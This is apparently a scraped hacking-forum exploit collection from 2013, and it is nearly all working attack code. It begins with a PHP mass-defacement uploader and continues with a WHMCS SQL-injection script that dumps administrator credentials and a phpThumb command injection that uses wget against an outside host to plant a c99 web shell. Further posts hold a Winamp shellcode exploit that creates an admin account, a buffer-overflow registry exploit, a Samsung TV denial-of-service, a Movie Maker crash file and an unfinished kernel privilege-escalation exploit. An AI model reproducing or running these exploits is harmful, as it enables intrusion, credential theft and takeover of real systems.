        $uploader = base64_decode("PD9waHANCmVjaG8gJzx0aXRsZT5VcGxvYWQgRmlsZXMgSW5kb25lc2lhbiBEZWZhY2VyIHwgaW5hLnBocDwvdGl0bGU+JzsNCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCglpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvICc8Yj5VcGxvYWQgQmVyaGFzaWwgISEhPC9iPjxicj48YnI+JzsgfQ0KCWVsc2UgeyBlY2hvICc8Yj5VcGxvYWQgR2FnYWwgISEhPC9iPjxicj48YnI+JzsgfQ0KfQ0KPz4=");
         
        $options = array('http' => array('method'=> "POST",'header'=> "Content-type: text/plain\r\n", 'content'=> $uploader));
        $context = stream_context_create($options);
         
        if($_POST['hajar'])
        {
                foreach($site as $situs)
                {
                        foreach($path as $upload)
                        {
                                $fopen = @fopen("{$situs}{$upload}?name={$namafile}", 'r', false, $context);
                        }
                        foreach($nama as $namas)
                        {
                                $url = "{$situs}{$namas}{$namafile}";
                                $check = @file_get_contents($url);
                                if(eregi("ina.php", $check))
                                {
                                        echo "<font face='Tahoma' size='2'>[+] Exploit Sukses => {$situs}/{$namas}/{$namafile} 
";
                                        flush();
                                }
                        }
                }
        }
        echo "<font face='Tahoma' size='2'>[+] Greetz all Indonesian Defacer</font>";
?>
WHMCS 5.2.7 exploit
ID: 67686ba3b4103b69df379d57
Thread ID: 24684
Created: 2013-10-05T07:40:22+0000
Last Post: 2013-10-05T07:40:22+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/env python
# 2013/10/03 - WHMCS 5.2.7 SQL Injection
# http://localhost.re/p/whmcs-527-vulnerability

url = 'http://clients.target.com/' # wopsie dopsie
user_email = 'mysuper@hacker.account' # just create a dummie account at /register.php
user_pwd = 'hacker' 

import urllib, re, sys
from urllib2 import Request, urlopen
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

def exploit(sql):
print "Doing stuff: %s" % sql
r = urlopen(Request('%sclientarea.php?action=details' % url, data="token=%s&firstname=%s&lastname=1&companyname=1&email=%s&paymentmethod=none&billingcid=0&address1=1&address2=1&city=1&state=1&postcode=1&country=US&phonenumber=1&save=Save+Changes" % (user[1], 'AES_ENCRYPT(1,1), firstname=%s' % sql, user_email), headers={"User-agent": ua, "Cookie": user[0]})).read()
return re.search(r'(id="firstname" value="(.*?)")', r).group(2)

def login():
print "Getting CSRF token"
r = urlopen(Request('%slogin.php' % url, headers={"User-agent": ua}))
csrf = re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r.read()).group(2)
cookie = r.info()['set-cookie'].split(';')[0]
print "Logging in"
r = urlopen(Request('%sdologin.php' % url, data="username=%s&password=%s&token=%s" %(user_email, user_pwd, csrf), headers={"User-agent": ua, "Cookie": cookie})).read()
if 'dologin.php' in r:
 sys.exit('Unable to login')
else:
 return [cookie, re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r).group(2)]

user = login()
print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)') # get admins
print exploit('(SELECT * FROM (SELECT COUNT(id) FROM tblclients) as x)') # just get a count of clients

# oh you want to be evil
#exploit("'DISASTER', password=(SELECT * FROM (SELECT password FROM tblclients WHERE email='%s' LIMIT 1) as x)#" % user_email)
phpThumb v. <= 1.7.9
ID: 67686ba3b4103b69df379d59
Thread ID: 24625
Created: 2013-09-10T06:24:10+0000
Last Post: 2013-09-10T13:09:20+0000
Author: DarckSol
Prefix: Web
Replies: 2 Views: 1K

Code:Copy to clipboard

#!/usr/bin/perl
# Exploit Title: phpThumb v. <= 1.7.9 Remote Command Injection (Automatic Shell Upload)
# Date: 09/09/2013
# Author: D35m0nd142
# Vendor Homepage: http://phpthumb.sourceforge.net/
# Tested on: phpThumb 1.7.9
# Enter the website in this form --> http://mobileworld24.pl/wp-content/themes/mobileworld24/inc/phpThumb/
use LWP::UserAgent;
use HTTP::Request;
$target = $ARGV[0];
 
if($target eq '')
{
print "======================================================\n";
print "  phpThumb <= 1.7.9 Remote Command Injection exploit   \n";
print "               (Automatic Shell Upload)                \n"; 
print "                created by D35m0nd142                  \n"; 
print "======================================================\n";
sleep(0.8);
print "Usage: perl phpthumb.pl <target> \n";
exit(1);
}
 
if ($target !~ /http:\/\//)
{
$target = "http://$target";
}
 
#print "[*] Enter the address of your hosted TXT shell (ex: 'http://c99.gen.tr/r57.txt') => ";
#$shell = <STDIN>;
#sleep(1);
print "======================================================\n";
print "  phpThumb <= 1.7.9 Remote Command Injection exploit   \n";
print "               (Automatic Shell Upload)                \n"; 
print "                created by D35m0nd142                  \n"; 
print "======================================================\n";
sleep(1.1);
print "[*] Sending exploit ... \n";
sleep(1.1);
$agent = LWP::UserAgent->new();
$agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1');
#print "Enter the command to execute => ";
#$cmd = <STDIN>;
 
$website = "$target/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg; wget kratos91.altervista.org/c991.txt -O c991.txt; &phpThumbDebug=9";
 
$request = $agent->request(HTTP::Request->new(GET=>$website));
 
if ($request->is_success && ($request->content =~ /Malformed header from CGI/ || $request->content =~ /Saving to: / ))
{
print "[+] Exploit sent with success. \n";
sleep(1.4);
}
 
else
{
print "[-] Exploit sent but probably the website is not vulnerable. \n";
sleep(1.3);
}
 
print "[*] Controlling if the txt shell has been uploaded ...\n";
sleep(1.2);
 
$cwebsite = "$target/c991.txt";
$creq = $agent->request(HTTP::Request->new(GET=>$cwebsite));
 
if ($creq->is_success && ($creq->content =~ /c99shell.php/ || $creq->content =~ /shell/ ))
{
print "[+] Txt Shell uploaded :) \n";
sleep(1);
print "[*] Moving it to PHP format ... wait please ... \n";
sleep(1.1);
$mvwebsite = "$target/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg; mv c991.txt shell.php; &phpThumbDebug=9";
$mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite));
 
$cwebsite = "$target/shell.php";
$c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite));
 
if ($c2req->is_success && ($c2req->content =~ "/<b>Command execute<\/b><\/a> ::<\/b><\/p><\/td></tr/" || $c2req->content =~ /Safe-mode/ || $c2req->content =~ /c99shell/ || $c2req->content =~ /r57shell/ || $c2req->content =~ /uname -a/ || $c2req->content =~ /shell/ ))
{
print "[+] PHP Shell injected => '$cwebsite' :) \n";
sleep(0.8);
print "[*] Do you want to open it? (y/n) => ";
$open = <STDIN>;
 
if ($open == "y")
{
$firefox = "firefox $cwebsite";
system($firefox);
}
 
}
 
else
{
print "[-] Error while moving shell from Txt to Php :( \n";
exit(1);
}
 
}
 
else
{
print "[-] Txt shell not uploaded. :( \n";
}
 
# EA7A463C7ED9EED8   1337day.com [2013-09-10]   488B65854B8805CB #

Есть видео работы сплоита.

WinAmp 5.63 (winamp.ini) - Local Exploit
ID: 67686ba3b4103b69df379d5a
Thread ID: 24606
Created: 2013-09-02T06:13:28+0000
Last Post: 2013-09-02T06:13:28+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

# Exploit Title: winampevilskin.py
# Date: 25 August 2013
# Exploit Author: Ayman Sagy <aymansagy@gmail.com>
# Vendor Homepage: http://www.winamp.com/
# Version: 5.63
# Tested on: Windows XP Professional SP3 Version 2002
# CVE : 2013-4694
#
# Ayman Sagy <aymansagy@gmail.com> August 2013
#
# This is an exploit for Bug #1 described in http://www.exploit-db.com/exploits/26558/
# Credit for discovering the vulnerability goes to Julien Ahrens from Inshell Security
#
# The exploit will generate a winamp.ini file that will cause winamp to run the payload upon startup
#
#
# I tried an alpha3 encoded egghunter but could not fit it in a single buffer and unfortunately it did not work, it wrote an invalid address on the stack then tried to access it
# If you can make it work or find a solution for ASLR/DEP please contact me
#
# So I wrote from scratch a venetian shellcode that will write the egghunter onto the stack then executes it
# The egg and shellcode can be found in plain ASCII in memory
#
# Tested against Windows XP Pro SP3
# Note: If you add winamp as an exception to DEP the return address becomes 0x003100F0 instead of 0x003000F0
# run with Python 2.7
  
import sys, getopt, os
  
def usage():
      print('winampevilskin.py by Ayman Sagy <aymansagy@gmail.com>\n')
      print('Usage: python ' + sys.argv[0] + ' -p <payload>')
      print('Payload could be:')
      print('\t[user] to create new admin account ayman/P@ssw0rd')
      print('\t[calc] run calculator')
      print('for e.g.: python ' + sys.argv[0] + ' -p user')
  
  
#appdata = os.environ['APPDATA']
  
  
# Windows add admin user: ayman P@ssw0rd
scadduser = ( b"\xbf\xab\xd0\x9a\x5b\xda\xc7\xd9\x74\x24\xf4\x5a\x2b\xc9" +
"\xb1\x45\x83\xc2\x04\x31\x7a\x11\x03\x7a\x11\xe2\x5e\x2c" +
"\x72\xd2\xa0\xcd\x83\x85\x29\x28\xb2\x97\x4d\x38\xe7\x27" +
"\x06\x6c\x04\xc3\x4a\x85\x9f\xa1\x42\xaa\x28\x0f\xb4\x85" +
"\xa9\xa1\x78\x49\x69\xa3\x04\x90\xbe\x03\x35\x5b\xb3\x42" +
"\x72\x86\x3c\x16\x2b\xcc\xef\x87\x58\x90\x33\xa9\x8e\x9e" +
"\x0c\xd1\xab\x61\xf8\x6b\xb2\xb1\x51\xe7\xfc\x29\xd9\xaf" +
"\xdc\x48\x0e\xac\x20\x02\x3b\x07\xd3\x95\xed\x59\x1c\xa4" +
"\xd1\x36\x23\x08\xdc\x47\x64\xaf\x3f\x32\x9e\xd3\xc2\x45" +
"\x65\xa9\x18\xc3\x7b\x09\xea\x73\x5f\xab\x3f\xe5\x14\xa7" +
"\xf4\x61\x72\xa4\x0b\xa5\x09\xd0\x80\x48\xdd\x50\xd2\x6e" +
"\xf9\x39\x80\x0f\x58\xe4\x67\x2f\xba\x40\xd7\x95\xb1\x63" +
"\x0c\xaf\x98\xe9\xd3\x3d\xa7\x57\xd3\x3d\xa7\xf7\xbc\x0c" +
"\x2c\x98\xbb\x90\xe7\xdc\x34\xdb\xa5\x75\xdd\x82\x3c\xc4" +
"\x80\x34\xeb\x0b\xbd\xb6\x19\xf4\x3a\xa6\x68\xf1\x07\x60" +
"\x81\x8b\x18\x05\xa5\x38\x18\x0c\xc6\xd3\x82\x81\x6d\x54" +
"\x2e\xfe\x42\xc7\x90\x90\xf9\x73\xf1\x19\x72\x19\x83\xc1" +
"\x15\x98\x0e\x63\xbb\x7a\x81\x23\x30\x08\x56\x94\xc4\x8a" +
"\xb8\xfb\x69\x17\xfd\x23\x4f\xb1\xdd\x4d\xea\xc9\x3d\xfe" +
"\x9b\x52\x5f\x92\x04\xe7\xf0\x1f\xba\x27\x4e\x84\x57\x41" +
"\x3e\x2d\xd4\xe5\xcc\xcc\x6e\x69\x43\x7c\xae\x14\xda\xef" +
"\xcf\xb8\x3c\xdf\x4e\x01\x79\x1f"
)
  
# http://shell-storm.org/shellcode/files/shellcode-739.php
sccalc = (b"\x31\xC9"+                # xor ecx,ecx
        "\x51"+                    # push ecx       
        "\x68\x63\x61\x6C\x63"+    # push 0x636c6163       
        "\x54"+                    # push dword ptr esp       
        "\xB8\xC7\x93\xC2\x77"+    # mov eax,0x77c293c7       
        "\xFF\xD0"
          )
  
if len(sys.argv) < 2:
      usage()
      exit(1)
  
try:
      opts, args = getopt.getopt(sys.argv[1:],'p:')
except getopt.GetoptError:
      usage()
      exit(1)
for opt, arg in opts:
      if opt == '-p':
            if arg == 'user':
                  shellcode = "aymnaymn" + "\x90" + "\x90" * 100 + scadduser + "\x90" * 89
            elif arg == "calc":
                  shellcode = "aymnaymn" + b"\x90" * 452 + b"\x90" + sccalc + b"\x90" * 23
            else:
                  print("Error: Invalid payload.\n")
                  usage()
                  sys.exit()
  
  
#print(str(len(shellcode)))
  
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"+
"\xef\xb8\x61\x79\x6d\x6e\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
  
sploit = ( # Unicode-friendly venetian egghunter writer
                                    # Setup Registers
           "\x50\x72\x50"+          # push eax twice
           "\x72" +                 # align
           "\x59\x72\x5f"+          # pop ecx pop edi
           "\x72" +
           "\x05\xc2\x02\x01"+      # 05 00020001      ADD EAX,1000200
           "\x72"+
           "\x2d\xc2\x01\x01"+      # 2D 00010001      SUB EAX,1000100
                                    # EAX is now EAX+100
           "\x72\x48"+      # dec eax 4 times
           "\x72\x48"+
           "\x72\x48"+
           "\x72\x48\x72"+
                                    # Pave Ahead
                                    # write NOPs in locations that will stop later execution
           "\xc3\x86\xc2\x90"+      # C600 90          MOV BYTE PTR DS:[EAX],90
           "\x72\x40\x72"+          # 40               INC EAX
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
             
           "\xc2\x91"               # 91               XCHG EAX,ECX
           "\x72" +                 # align          
                                    # Start writing egghunter shellcode, EGG = aymn
           "\xc3\x86\x66"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x81"+ #81
           "\x72\x40\x72"+
           "\xc3\x86\xc3\x8a"+ #ca
           "\x72\x40\x72"+
           "\xc3\x86\xc3\xbf"+
           "\x72\x40\x72"+
           "\xc3\x86\x0f"+
           "\x72\x40\x72"+
           "\xc3\x86\x42"+ # 42
           "\x72\x40\x72"+
           "\xc3\x86\x52"+
           "\x72\x40\x72"+
           "\xc3\x86\x6a"+
           "\x72\x40\x72"+
           "\xc3\x86\x02"+
           "\x72\x40\x72"+
             
           "\x34" * 4 +             # Padding
           "\xc3\xb0\x30"+          # 0x003000F0  CALL EAX winamp.exe WinXP Pro SP3
                                    # Note: If you add winamp as an exception to DEP the return address becomes 0x003100F0 instead of 0x003000F0
  
           "\x72"
           "\xc3\x86\x58"+ #58
           "\x72\x40\x72"+
           "\xc3\x86\xc3\x8d"+ #cd
           "\x72\x40\x72"+
           "\xc3\x86\x2e"+ #2e
           "\x72\x40\x72"+
           "\xc3\x86\x3c"+ # 3c
           "\x72\x40\x72"+
           "\xc3\x86\x05"+ # 5
           "\x72\x40\x72"+
           "\xc3\x86\x5a"+
             
           "\x72\x40\x72"+
           "\xc3\x86\x74"+
           "\x72\x40\x72"+
           "\xc3\x86\xc3\xaf"+ # ef
           "\x72\x40\x72"+
           "\xc3\x86\xc2\xb8"+
           "\x72\x40\x72"+
           "\xc3\x86\x61"+
           "\x72\x40\x72"+
           "\xc3\x86\x79"+
           "\x72\x40\x72"+
           "\xc3\x86\x6d"+
           "\x72\x40\x72"+
           "\xc3\x86\x6e"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x8b"+
           "\x72\x40\x72"+
           "\xc3\x86\xc3\xba"+ #fa
           "\x72\x40\x72"+
           "\xc3\x86\xc2\xaf"+ # af
           "\x72\x40\x72"+
           "\xc3\x86\x75"+ #75
           "\x72\x40\x72"+
           "\xc3\x86\xc3\xaa"+ #ea
           "\x72\x40\x72"+
           "\xc3\x86\xc2\xaf"+ # af
           "\x72\x40\x72"+
           "\xc3\x86\x75"+ #75
           "\x72\x40\x72"+
           "\xc3\x86\xc3\xa7"+ # e7
           "\x72\x40\x72"+
           "\xc3\x86\xc3\xbf"+ # ff
           "\x72\x40\x72"+
           "\xc3\x86\xc3\xa7"+ # e7
           "\x72"+
           "\x57"+                  # 57               PUSH EDI
           "\x72"+                  # align
           "\xc3\x83"+              # C3               RETN
           "\x34" * 200             # Padding
    )
  
  
  
winamp = ("[Winamp]\r\nutf8=1\r\n" +
"skin=" + sploit + "\r\n"
"[WinampReg]\r\nIsFirstInst=0\r\nNeedReg=0\r\n" +
          "[in_wm]\r\nnumtypes=7\r\n" +
          "type0=WMA\r\ndescription0=Windows Media Audio File (*.WMA)\r\n" +
          "protocol0=0\r\navtype0=0\r\n" +
          "type1=WMV\r\ndescription1=Windows Media Video File (*.WMV)\r\n" +
          "protocol1=0\r\navtype1=1\r\ntype2=ASF\r\n" +
          "description2=Advanced Streaming Format (*.ASF)\r\n" +
          "protocol2=0\r\navtype2=1\r\ntype3=MMS://\r\n" +
          "description3=Windows Media Stream\r\nprotocol3=1\r\n" +
          "avtype3=1\r\ntype4=MMSU://\r\n"
          "description4=Windows Media Stream\r\nprotocol4=1\r\n" +
          "avtype4=1\r\ntype5=MMST://\r\n" +
          "description5=Windows Media Stream\r\nprotocol5=1\r\n" +
          "avtype5=1\r\ntype5=" + "\x90\x90\xe9\x0f" + "\r\ndescription6=" +
          shellcode  + "\r\nprotocol6=0\r\navtype6=0\r\n")
  
#f = open(appdata + "\Winamp\winamp.ini", "wb") or sys.exit("Error creating winamp.ini")
f = open("winamp.ini", "wb") or sys.exit("Error creating winamp.ini")
f.write(winamp)
f.close()
  
print("winamp.ini written, copy it into %APPDATA%\\Winamp")
 
# 0032407F5B3195C6   1337day.com [2013-09-02]   1A3286F95129DEA0 #
Easy LAN Folder Share Version 3.2.0.100
ID: 67686ba3b4103b69df379d5b
Thread ID: 24498
Created: 2013-08-05T07:07:16+0000
Last Post: 2013-08-05T07:07:16+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/python
  
# ==========================================================================================
# Exploit Title: Easy LAN Folder Share Version 3.2.0.100 Buffer Overflow vulnerability (SEH)
# Date: 2013-08-03
# Exploit Author: sagi-
# Original Bug Found By: ariarat
# Vendor Homepage: http://www.mostgear.com
# Software Link: http://download.cnet.com/Easy-LAN-Folder-Share/3000-2085_4-10909166.html
# Version: 3.2.0.100
# Tested On: Windows XP Professional SP2 & SP3 (ENG)
# ==========================================================================================
# The registration code field in the 'activate license' window is vulnerable to a buffer overflow.
# This script generates a malicious registry file.
# Once the generated file has been loaded into the registry, execute the application as normal.
# ==========================================================================================
# Greetz: corelanc0d3r, g0tmi1k
# ==========================================================================================
  
header  = "Windows Registry Editor Version 5.00\n\n"
header += "[HKEY_LOCAL_MACHINE\SOFTWARE\MostGear\EasyLanFolderShare_V1\License]\n"
header += "\"BeginDate\"=\"8/2/2013\"\n"
header += "\"ExpireDate\"=\"8/17/2013\"\n"
header += "\"UserName\"=\"a\"\n"
header += "\"Serial\"=\""
  
junk = "\x41" * 550
nseh = "\xEB\x27\x90\x90" # jmp short 0x29
seh  = "\xEF\x03\xFC\x7F" # pop pop ret
padding = "\x90" * 33     # Required as some random characters appear on the stack
  
#msfpayload windows/exec CMD=calc.exe R | msfencode -e x86/alpha_upper -t c
#[*] x86/alpha_upper succeeded with size 469 (iteration=1)
shellcode = (
"\x89\xe2\xd9\xf6\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4b\x39\x33\x30"
"\x43\x30\x53\x30\x35\x30\x4c\x49\x4b\x55\x46\x51\x38\x52\x43"
"\x54\x4c\x4b\x30\x52\x56\x50\x4c\x4b\x36\x32\x44\x4c\x4c\x4b"
"\x36\x32\x54\x54\x4c\x4b\x33\x42\x47\x58\x54\x4f\x4f\x47\x50"
"\x4a\x46\x46\x56\x51\x4b\x4f\x36\x51\x59\x50\x4e\x4c\x37\x4c"
"\x55\x31\x43\x4c\x43\x32\x36\x4c\x51\x30\x49\x51\x48\x4f\x34"
"\x4d\x43\x31\x48\x47\x4a\x42\x4a\x50\x36\x32\x50\x57\x4c\x4b"
"\x50\x52\x44\x50\x4c\x4b\x47\x32\x37\x4c\x43\x31\x48\x50\x4c"
"\x4b\x57\x30\x44\x38\x4c\x45\x59\x50\x44\x34\x31\x5a\x53\x31"
"\x4e\x30\x50\x50\x4c\x4b\x50\x48\x32\x38\x4c\x4b\x36\x38\x37"
"\x50\x55\x51\x48\x53\x4a\x43\x47\x4c\x47\x39\x4c\x4b\x50\x34"
"\x4c\x4b\x35\x51\x48\x56\x46\x51\x4b\x4f\x56\x51\x59\x50\x4e"
"\x4c\x39\x51\x58\x4f\x44\x4d\x35\x51\x49\x57\x50\x38\x4d\x30"
"\x34\x35\x4c\x34\x35\x53\x43\x4d\x4c\x38\x37\x4b\x33\x4d\x46"
"\x44\x44\x35\x4a\x42\x51\x48\x4c\x4b\x56\x38\x36\x44\x43\x31"
"\x39\x43\x33\x56\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x30\x58\x45"
"\x4c\x35\x51\x4e\x33\x4c\x4b\x33\x34\x4c\x4b\x55\x51\x4e\x30"
"\x4d\x59\x57\x34\x46\x44\x47\x54\x51\x4b\x31\x4b\x53\x51\x46"
"\x39\x50\x5a\x56\x31\x4b\x4f\x4d\x30\x31\x48\x51\x4f\x30\x5a"
"\x4c\x4b\x32\x32\x4a\x4b\x4c\x46\x51\x4d\x42\x4a\x53\x31\x4c"
"\x4d\x4c\x45\x58\x39\x55\x50\x43\x30\x45\x50\x30\x50\x42\x48"
"\x56\x51\x4c\x4b\x52\x4f\x4d\x57\x4b\x4f\x48\x55\x4f\x4b\x4b"
"\x4e\x44\x4e\x36\x52\x4a\x4a\x43\x58\x39\x36\x4d\x45\x4f\x4d"
"\x4d\x4d\x4b\x4f\x4e\x35\x57\x4c\x55\x56\x53\x4c\x34\x4a\x4d"
"\x50\x4b\x4b\x4d\x30\x32\x55\x33\x35\x4f\x4b\x51\x57\x52\x33"
"\x32\x52\x32\x4f\x32\x4a\x43\x30\x31\x43\x4b\x4f\x39\x45\x35"
"\x33\x45\x31\x42\x4c\x35\x33\x46\x4e\x42\x45\x33\x48\x42\x45"
"\x33\x30\x41\x41"
)
  
trailer = "\x90" * (2000 - len(junk + nseh + seh + padding + shellcode)) + "\"\n\n"
buffer = header + junk + nseh + seh + padding + shellcode + trailer
  
textfile = open("exploit.reg" , 'w')
textfile.write(buffer)
textfile.close()
  
print "[*] Done"
 
# EED2732064EFC1B1   1337day.com [2013-08-05]   B8C055C68AA71FC4 #
Samsung TV Denial Of Service
ID: 67686ba3b4103b69df379d5c
Thread ID: 24444
Created: 2013-07-23T08:02:39+0000
Last Post: 2013-07-23T08:02:39+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/python

# Exploit Title: Samsung TV Denial of Service (DoS) Attack
# Exploit Author: Malik Mesellem - @MME_IT - [url=http://www.itsecgames.com]http://www.itsecgames.com[/url]
# Date: 07/21/2013
# CVE Number: CVE-2013-4890
# Vendor Homepage: [url=http://www.samsung.com]http://www.samsung.com[/url]
# Description:
#   The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long HTTP GET request
#   As a results, the TV reboots...
#   Tested successfully on my Samsung PS50C7700 plasma TV, with the latest firmware :)
 
import httplib
import sys
import os

print "  ***************************************************************************************"
print "   Author: Malik Mesellem - @MME_IT - [url=http://www.itsecgames.com\n"]http://www.itsecgames.com\n"[/url]
print "   Exploit: Denial of Service (DoS) attack\n"
print "   Description:\n"
print "     The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long request."
print "     Tested successfully on my Samsung PS50C7700 plasma TV :)\n"
print "  ***************************************************************************************\n"

# Sends the payload
print "  Sending the malicious payload...\n"
conn = httplib.HTTPConnection(sys.argv[1],5600)
conn.request("GET", "A"*300)
conn.close()

# Checks the response
print "  Checking the status... (CTRL+Z to stop)\n"
response = 0
while response == 0:
  response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
  if response != 0:
    print "  Target down!\n"
Windows Movie Maker version 2.1.4026.0
ID: 67686ba3b4103b69df379d5d
Thread ID: 24439
Created: 2013-07-22T10:06:07+0000
Last Post: 2013-07-22T10:06:07+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Windows Movie Maker version 2.1.4026.0 crash proof of concept exploit.

Click to expand...

Code:Copy to clipboard

# Exploit Title: Windows Movie Maker Version 2.1.4026.0 (.wav) - Crash POC # Date: 16-07-2013 # Exploit Author: ariarat # Vendor Homepage: http://www.microsoft.com # Software Link: included in windows xp sp2 and sp3 # Version: 2.1.4026.0 # Tested on: [ Windows XP sp3] # CVE : 2013-4858 #============================================================================================ # Open Windows movie maker in left panel click on "Import audio or music" and choose movieMaker.wav # #============================================================================================ # Contact : #------------------ # Web Page : http://ariarat.blogspot.com # Email : mehdi.esmaeelpour@gmail.com #============================================================================================ #!/usr/bin/python string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01" "\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E" "\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22" "\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") filename = "movieMaker.wav" file = open(filename , "w") file.write(string) file.close()
Symantec Workspace Virtualization 6.4.1895.0
ID: 67686ba3b4103b69df379d5e
Thread ID: 24426
Created: 2013-07-19T10:01:26+0000
Last Post: 2013-07-19T10:01:26+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

# Symantec Workspace Virtualization 6.4.1895.0 Local Kernel Mode Privilege Escalation Exploit
# Date: 2013-7-17
# Author : MJ0011
# Version: Symantec Workspace Virtualization 6.4.1895.0
# Tested on: Windows XP SP3
  
DETAILS:
  
In fslx.sys 's hook function of "NtQueryValueKey" , it directly write to the buffer of "ResultLength" without any check
  
  
EXPLOIT CODE:
  
  
  
#include "stdafx.h"
#include "windows.h"
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
typedef LONG
(WINAPI *pNtQueryValueKey)(
                 HANDLE KeyHandle,
                 PUNICODE_STRING ValueName,
                 ULONG KeyValueInformationClass,
                PVOID KeyValueInformation,
                 ULONG Length,
                 PULONG ResultLength
    );
typedef
LONG (WINAPI *pNtQueryIntervalProfile )(
                         ULONG ProfileSource,
                         PULONG Interval
    );
  
  
typedef LONG
(WINAPI *pZwQuerySystemInformation) (
                           ULONG SystemInformationClass,
                           PVOID SystemInformation,
                           ULONG SystemInformationLength,
                           PULONG ReturnLength
    );
#include "malloc.h"
PVOID GetInfoTable(ULONG ATableType)
{
ULONG mSize = 0x4000;
PVOID mPtr = NULL;
LONG status;
HMODULE hlib = GetModuleHandle("ntdll.dll");
pZwQuerySystemInformation ZwQuerySystemInformation = (pZwQuerySystemInformation)GetProcAddress(hlib , "ZwQuerySystemInformation");
do
{
mPtr = malloc(mSize);
if (mPtr)
{
  
    status = ZwQuerySystemInformation(ATableType , mPtr , mSize , 0 );
}
else
{
return NULL;
}
if (status == 0xc0000004)
{
free(mPtr);
mSize = mSize * 2;
}
} while (status == 0xc0000004);
if (status == 0)
{
return mPtr;
}
free(mPtr);
return NULL;
}
enum { SystemModuleInformation = 11,
SystemHandleInformation = 16 };
typedef struct {
    ULONG   Unknown1;
